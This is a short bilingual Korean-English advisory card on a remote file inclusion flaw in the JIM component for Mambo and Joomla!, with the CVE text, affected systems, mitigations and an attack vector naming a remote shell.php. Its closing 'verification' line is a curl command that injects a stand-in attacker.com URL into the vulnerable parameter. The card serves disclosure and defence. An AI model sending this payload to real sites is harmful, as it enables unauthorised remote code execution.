🇰🇷 한글 설명
Mambo 및 Joomla! CMS의 JIM 컴포넌트 index.php에서 mosConfig_absolute_path 파라미터를 통해 원격 파일을 포함시킬 수 있는 RFI 취약점입니다. 인증되지 않은 공격자가 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트 설정 파일 경로를 입력하는 부분에 악의적인 파일 주소를 넣어서 공격자가 웹서버를 제어할 수 있습니다. 웹사이트 해킹 및 전체 시스템 장악으로 이어질 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in the JIM component for Mambo and Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter. NOTE: another researcher has stated that the product distribution does not include an index.php file. Also, this might be related to CVE-2006-4242
📍 영향받는 시스템
Mambo CMS, Joomla! CMS의 JIM 컴포넌트 (모든 버전)
⚔️ 공격 벡터
GET/POST 요청에서 mosConfig_absolute_path=/path/to/remote/shell.php 형태로 주입하여 RFI 트리거
🛡️ 대응 방법
JIM 컴포넌트 제거 또는 업데이트, php.ini에서 allow_url_include 비활성화 (Off), 입력값 화이트리스트 검증 구현
🔧 검증 코드
응답에서 원격 PHP 파일이 포함되었는지 확인합니다. 원격 파일이 실행되거나 포함되면 VULNERABLE로 표시되며, 즉시 패치 또는 컴포넌트 제거 필요
curl -s 'http://target/index.php?mosConfig_absolute_path=http://attacker.com/' 2>/dev/null | grep -q 'php' && echo 'VULNERABLE' || echo 'SAFE'